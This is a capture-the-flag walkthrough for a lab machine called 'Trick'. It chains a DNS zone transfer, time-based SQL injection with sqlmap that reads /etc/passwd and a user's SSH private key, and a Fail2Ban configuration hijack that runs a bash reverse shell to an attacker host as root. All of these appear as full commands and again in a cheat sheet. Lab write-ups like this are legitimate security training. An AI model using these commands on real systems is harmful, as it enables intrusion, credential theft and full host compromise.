🎭 Trick

Machine: Trick Difficulty: Easy Theme: DNS enumeration β†’ SQLi FILE read β†’ SSH foothold β†’ Fail2Ban config hijack


🎯 Summary

Trick presents a quiet external footprint, but DNS opens the box up immediately. A successful AXFR zone transfer reveals a preprod-payroll virtual host running a payroll management application vulnerable to SQL injection on the login form.

Rather than follow the intended chain β€” a second virtual host, Local File Inclusion, and SMTP log poisoning β€” the exploitation timeline was compressed by abusing the database user’s FILE privilege. This permitted direct reads of /etc/passwd, Nginx configuration, and ultimately Michael’s private SSH key, collapsing the entire web-exploitation path into a single primitive.

Local privilege escalation was a Fail2Ban configuration hijack. Michael held sudo to restart the service and was a member of a group with write access to action.d/. Replacing the iptables-multiport.conf action with an arbitrary command yielded root code execution the moment a ban condition was triggered.


1. Enumeration

The external surface was minimal: SSH, SMTP, DNS, and an HTTP service serving a static β€œcoming soon” page. With the web root yielding nothing actionable, DNS became the primary attack surface.

Baseline scan

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.166

DNS discovery

With port 53 exposed, the standard sequence is reverse lookup β†’ AXFR:

# Reverse lookup β†’ resolve the apex domain
dig @10.10.11.166 -x 10.10.11.166
# β†’ trick.htb
 
# Zone transfer β†’ enumerate subdomains
dig @10.10.11.166 axfr trick.htb
# β†’ preprod-payroll.trick.htb

2. Payroll Login β€” SQL Injection

The preprod-payroll.trick.htb vhost exposed an Employee’s Payroll Management System login panel. The username parameter was vulnerable to SQL injection.

Stable execution

Network jitter made boolean-based payloads unreliable. A time-based blind technique with a 5-second delay and a single thread produced clean, deterministic responses:

sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --privileges

Result: the database user holds the FILE privilege β€” the precondition for reading arbitrary filesystem content through the SQL layer.


3. File Exfiltration β€” The β€œShortcut”

This is the strategic pivot. The intended path requires:

  • discovering a second vhost
  • chaining LFI against it
  • poisoning SMTP logs for code execution

All of that becomes irrelevant the moment FILE is confirmed. The database itself becomes the read primitive β€” one SQLi vulnerability now substitutes for an entire multi-stage web chain.

Confirm valid users

sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex --file-read="/etc/passwd"

Target user identified: michael.

Pull the SSH private key

sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex --file-read="/home/michael/.ssh/id_rsa"

The --hex flag is essential here β€” it preserves binary integrity on the key file, which would otherwise be mangled by encoding-sensitive output.

This single primitive transitioned the engagement directly from unauthenticated web to authenticated SSH, bypassing the LFI and SMTP-poisoning chain entirely.


4. Foothold β€” SSH as michael

chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb

User flag

cat ~/user.txt

5. Privilege Escalation β€” Fail2Ban Hijack

sudo -l revealed Michael could restart fail2ban as root without a password. Filesystem inspection showed Michael’s security group held write access to /etc/fail2ban/action.d/.

That combination β€” sudo on a service plus group-writable configuration directory β€” is functionally equivalent to root.

The directory-write trick

Even though iptables-multiport.conf itself was not directly writable by michael, the parent directory was. That is sufficient: the file can be renamed and replaced.

cd /etc/fail2ban/action.d
mv iptables-multiport.conf .old
cp .old iptables-multiport.conf

Weaponize the action

Edit the new copy and overwrite the ban action with a path to an attacker-controlled script:

actionban = /tmp/shell.sh

Stage the payload

cat > /tmp/shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/[YOUR_VPN_IP]/1337 0>&1
EOF
chmod +x /tmp/shell.sh

6. Execution

  1. Restart the service so the new action is loaded:
    sudo /etc/init.d/fail2ban restart
  2. Start the listener:
    nc -lvnp 1337
  3. Trigger a ban by intentionally failing SSH logins from a second source IP until Fail2Ban acts.

When the ban fires, fail2ban-server executes actionban as root, delivering a root reverse shell to the listener.

Root flag

cat /root/root.txt

πŸ”— Condensed Attack Chain

DNS :53
  ↓
AXFR zone transfer (trick.htb)
  ↓
preprod-payroll.trick.htb
  ↓
SQLi on username parameter
  ↓
FILE privilege confirmed
  ↓
[SHORTCUT] Direct read of /etc/passwd β†’ michael
  ↓
[SHORTCUT] Direct read of /home/michael/.ssh/id_rsa
  ↓
SSH as michael
  ↓
sudo: fail2ban restart + group-writable action.d
  ↓
Replace iptables-multiport.conf β†’ actionban = /tmp/shell.sh
  ↓
Restart fail2ban, trigger a ban
  ↓
Root shell

🧠 Key Takeaways

  • Shortcut mentality. The FILE privilege turns SQL injection into an arbitrary file read. The moment that primitive is available, abandon the LFI/log-poisoning chain β€” it is now redundant work.
  • Service-config writes are root. sudo on a service plus write access to that service’s config directory is a full privilege escalation. Treat any group membership granting write to /etc/<service>.d/ as effectively administrative.
  • Never skip DNS. Port 53 is one of the highest-yield enumeration targets on a quiet box. A successful AXFR almost always reveals the real attack surface, and internal-facing vhosts tend to be considerably less hardened than the public root.
  • Preserve binary integrity on file reads. Always use --hex in sqlmap when exfiltrating keys, certificates, or any non-printable content. A truncated or mangled private key wastes time that the SQLi step already paid for.

⚑ Commands Cheat Sheet

# Port discovery
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.166 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV 10.10.11.166
 
# DNS
dig @10.10.11.166 -x 10.10.11.166
dig @10.10.11.166 axfr trick.htb
 
# SQLi β€” confirm privileges
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --privileges
 
# SQLi β€” arbitrary file read
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex \
  --file-read="/etc/passwd"
sqlmap -r login.req --batch --technique=T --time-sec=5 --threads=1 --hex \
  --file-read="/home/michael/.ssh/id_rsa"
 
# SSH foothold
chmod 600 id_rsa
ssh -i id_rsa michael@trick.htb
cat ~/user.txt
 
# Fail2Ban hijack
cd /etc/fail2ban/action.d
mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
# edit: actionban = /tmp/shell.sh
 
cat > /tmp/shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/[YOUR_VPN_IP]/1337 0>&1
EOF
chmod +x /tmp/shell.sh
 
sudo /etc/init.d/fail2ban restart
nc -lvnp 1337
# Trigger a ban from a second source IP
cat /root/root.txt

Field-manual techniques demonstrated on this box:


🧭 Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks β€œwrong” but the underlying step is actually salvageable.

Symptom: External footprint is quiet (only SMTP + static HTTP) and web yields nothing
Meaning: DNS is the real attack surface on hosts like this
Next: dig @<TARGET> -x <TARGET> to find the apex, then dig axfr <domain> for subdomains

Symptom: Boolean-based SQLi payloads return inconsistent results across runs
Meaning: Network jitter is destabilizing fast techniques
Next: Switch to time-based blind with a slow delay: --technique=T --time-sec=5 --threads=1

Symptom: sqlmap --privileges shows FILE
Meaning: SQLi just became an arbitrary file read β€” the entire LFI/log-poisoning chain is now redundant
Next: Read /etc/passwd and SSH keys directly via --file-read; skip the intended chain

Symptom: Exfiltrated SSH key looks truncated or unusable
Meaning: Binary content was corrupted by encoding-sensitive output
Next: Re-run sqlmap --file-read with --hex to preserve binary integrity

Symptom: sudo -l shows a service restart privilege but the config file isn’t writable as your user
Meaning: Check whether the parent directory is group-writable β€” a rename-and-replace bypasses file ACLs
Next: mv original.conf .old && cp .old original.conf, then edit the new copy you own

Symptom: Replaced Fail2Ban action but no shell fires after restart
Meaning: The action only runs when a ban actually triggers
Next: Generate failed SSH logins from a second source IP until Fail2Ban bans it


πŸ“ Personal Notes

The lesson on Trick is primitive recognition. The intended path is a perfectly valid web-exploitation exercise, but the moment sqlmap --privileges returned FILE, the engagement collapsed into a much shorter chain. Identifying that pivot quickly β€” and trusting it β€” is what separates a 30-minute box from a multi-hour grind through LFI and SMTP poisoning.

The Fail2Ban half is a reminder that Linux privilege escalation is rarely about exotic exploits. It is almost always about boundaries between users and the services they are allowed to influence. A sudo entry plus a group ACL on a config directory is not a misconfiguration to file in a report appendix β€” it is the root path.